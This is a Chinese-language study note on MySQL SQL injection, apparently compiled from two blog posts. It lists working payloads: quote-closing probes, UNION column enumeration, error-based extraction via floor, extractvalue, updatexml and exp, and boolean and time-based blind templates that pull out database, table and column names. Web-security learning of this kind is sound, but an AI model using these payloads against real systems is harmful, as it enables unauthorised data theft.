0%

Web安全学习——SQL注入

总结来源:

https://blog.csdn.net/qq_42181428/article/details/90755280

https://blog.csdn.net/a15803617402/article/details/82890794

MySQL元数据

INFORMATION_SCHEMA是每个MySQL实例中的数据库,该实例存储有关MySQL服务器维护的所有其他数据库的信息。你只能读取该数据库内容,不能修改、增加、删除等操作。

每个MySQL用户都有权访问这些表,但只能看到表中与用户具有适当访问权限的对象相对应的行。

information_schema数据库中常见的表

表名 字段名1 字段名2 字段名3
schemata 存放所有数据库名 SCHEMA_NAME 数据库名
tables 存放所有表名 TABLE_SCHEMA 数据库名 TABLE_NAME 表名
columns 存放所有字段名 TABLE_SCHEMA 数据库名 TABLE_NAME 表名 COLUMN_NAME 字段名

闭合SQL拼接语句

要想进行下一步注入,首先需要闭合SQL语句,如何知道闭合符号是什么呢?可通过在参数后面加入单引号或双引号使其整条SQL拼接语句失败,从而可从数据库报错信息得知,若没有数据库报错信息,则只能Fuzz了

1
2
3
4
$sql="SELECT username,passwd FROM users WHERE id={$id}";
$sql="SELECT username,passwd FROM users WHERE id='{$id}'";
$sql="SELECT username,passwd FROM users WHERE id=({$id})";
......

检测注入点

可通过逻辑测试、算术运算等方式检测是否存在注入点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
对于数值型参数来说,可进行算术运算、逻辑运算或函数
id=3-1 //返回id=2的结果,说明进行了算术运算
id=1/1
id=1/0
id=1 and 1=1 //永真
id=1 and 1=0 //永假
id=abs(-2) //返回id=2的结果

对于字符串型参数来说,可进行算术和逻辑运算
id=1' '1' //不同数据库,字符串连接符不同,MySQL为空格、oracle为||、sqlserver为+
id=3'-'1' //字符串的相减,显示转换为数字进行运算(MySQL数据库)
id=1' and '1'='1'
id=1' and '1'='0'

当然,以上是针对布尔型盲注和非盲注,如果网页不返回信息无法进行信息判断,则只能进行时间盲注测试。
id=1' if(2>1,sleep(5),0)

注入常用查询

  • 获取数据库名
1
2
3
4
5
//通过limit控制符返回指定行记录
SELECT schema_name FROM information_schema.schemata limit 2,1;

//通过group_concat()函数一次得到所有记录
SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata;
  • 获取表名
1
2
3
SELECT table_name FROM information_schema.tables WHERE  table_schema='DB_name' limit 1,1;

SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='DB_name';
  • 获取字段名
1
2
3
SELECT column_name FROM information_schema.columns WHERE  table_schema='DB_name' AND table_name='table_name' limit 2,1;

SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema='DB_name' AND table_name='table_name';
  • 查询数据
1
SELECT column_name FROM db_name.table_name;

UNION注入

判断列数

1
2
3
4
5
6
id=1' order by 1 %23
id=1' order by 2 %23
id=1' order by 3 %23
·····
id=1' order by n %23
直到报错为止,最后一个页面正确回显的数,即为列数

判断回显位置

1
id=-1' UNION SELECT 1,2 %23

然后在可回显的位置处构造SQL语句进行注入

报错注入

  • floor
1
?id=1 OR (SELECT 8627 FROM(SELECT COUNT(*),CONCAT(0x70307e,(SELECT user()),0x7e7030,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
  • ExtractValue(有长度限制,最长32位)
1
?id=1 and extractvalue(1, concat(0x7e, (select @@version),0x7e))
  • UpdateXml(有长度限制,最长32位)
1
?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
  • Error based Double Query Injection
1
?id=1 or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1
  • exp(5.5.5以上)
1
id=1 and (select exp(~(select * from(select user())x)))
  • polygon
1
2
mysql> select * from users where username=""and polygon (password);
ERROR 1367 (22007): Illegal non geometric '`security`.`users`.`password`' value found during parsing

盲注

常常需要写脚本来进行注入

基于布尔的盲注

对于基于布尔的盲注,可通过构造真or假判断条件(数据库各项信息取值的大小比较,如:字段长度、版本数值、字段名、字段名各组成部分在不同位置对应的字符ASCII码…),将构造的sql语句提交到服务器,然后根据服务器对不同的请求返回不同的页面结果(True、False);然后不断调整判断条件中的数值以逼近真实值,特别是需要关注响应从True<–>False发生变化的转折点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// i 用于提取每一个位,j 用于判断其对应的ASCII码值的范围。
// k ,结合limit,选择偏移为k的行
// **中可以填上其他的select语句,比如查询表名,列名,数据。一次类推。
// SUBSTR() 也可以换成 SUBSTRING()

' OR (SELECT ASCII(SUBSTR(DATABASE(),i,1) ) < j) #

' OR (SELECT ASCII(SUBSTR((SELECT GROUP_CONCAT(schema_name SEPARATOR 0x3c62723e) FROM INFORMATION_SCHEMA.SCHEMATA),i,1) ) < j) #

' OR (SELECT SUBSTR(DATABASE(),i,1) < j) #

' OR (SELECT SUBSTR((SELECT GROUP_CONCAT(schema_name SEPARATOR 0x3c62723e) FROM INFORMATION_SCHEMA.SCHEMATA),i,1) < j) #

' OR SUBSTR((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT k,1),i,1) < j #

基于时间的盲注

对于基于时间的盲注,通过构造真or假判断条件的sql语句,且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求,观察服务器响应结果是否会执行所设置时间的延迟响应,以此来判断所构造条件的真or假(若执行sleep延迟,则表示当前设置的判断条件为真);然后不断调整判断条件中的数值以逼近真实值,最终确定具体的数值大小or名称拼写。

1
2
3
4
5
6
7
8
9
10
11
12
13
#检测方法
1 OR SLEEP(25)=0 LIMIT 1 #
1) OR SLEEP(25)=0 LIMIT 1 #
1' OR SLEEP(25)=0 LIMIT 1 #
') OR SLEEP(25)=0 LIMIT 1 #
1)) OR SLEEP(25)=0 LIMIT 1 #
SELECT SLEEP(25) #


#payload
UNION SELECT IF(SUBSTR((SELECT GROUP_CONCAT(schema_name SEPARATOR 0x3c62723e) FROM INFORMATION_SCHEMA.SCHEMATA),i,1) < j,BENCHMARK(100000,SHA1(1)),0)

UNION SELECT IF(SUBSTR((SELECT GROUP_CONCAT(schema_name SEPARATOR 0x3c62723e) FROM INFORMATION_SCHEMA.SCHEMATA),i,1) < j,SLEEP(10),0)

基于报错的盲注

对于基于报错的盲注,基本是在rand()函数作为group by的字段进行联用的时候会违反Mysql的约定而报错。rand()随机不确定性,使得group by会使用多次而报错。

常用函数

查看当前数据库版本

  • version()
  • @@version
  • @@global.version

查看当前登陆用户

  • user()
  • current_user()
  • system_user()
  • session_user()

当前使用的数据库

  • database()
  • schema()

路径查询

  • @@basedir ——mysql安装路径
  • @@slave_load_tampdir ——临时文件夹路径
  • @@datadir ——数据存储路径
  • @@character_sets_dir ——字符集设置文件路径
  • @@log_error ——错误日志文件路径
  • @@pid_file ——pid-file文件路径

字符串连接函数

  • group_concat() ——返回一个字符串结果,该结果由分组中的值连接组合而成。
  • group_concat([DISTINCT] 要连接的字段[Order BY ASC/DESC 排序字段] [Separator ‘分隔符’])
  • concat() ——将多个字符串连接成一个字符串,CONCAT(str1,str2,…)
  • concat_ws() ——有分隔符的字符串连接,CONCAT_WS(separator,str1,str2,…)

盲注常用函数

  • length(str) ——返回字符串str的长度
  • mid(str, start [,length]) ——从字符串str的start(从1开始)位置开始返回长的为length的部分
  • substr(str, start [,length]) ——从字符串str的start(从1开始)位置开始返回长的为length的部分
  • left(str, length) ——返回具有指定长度的字符串的左边部分
  • ord() ——返回字符串第一个字符的 ASCII 值
  • ascii() ——返回字符串第一个字符的 ASCII 值

Time-Based常用函数

  • BENCHMARK(count,expr) ——重复count次执行表达式expr
  • sleep(n) ——暂停数据库n秒
  • if(expr1,expr2,expr3) ——如果expr1的值为true,则返回expr2的值,如果expr1的值为false,则返回expr3的值

Wrong-Based常用函数

  • rand(int) ——以int为种子生成伪随机数
  • floor() ——返回小于等于该值的最大整数
  • count() ——统计个数
  • updatexml()

updatexml()函数

UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string(Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用: 改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值

例如,updatexml(1,concat('~',(select database()),'~'),3);
由于updatexml()的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。

其他函数

  • bin() ——返回值的二进制表示
  • conv(str,m,n) ——进制转换,将str从m进制转换为n进制
  • lower() ——转成小写字母
  • upper() ——转成大写字母
  • hex() ——十六进制编码
  • unhex() ——十六进制解码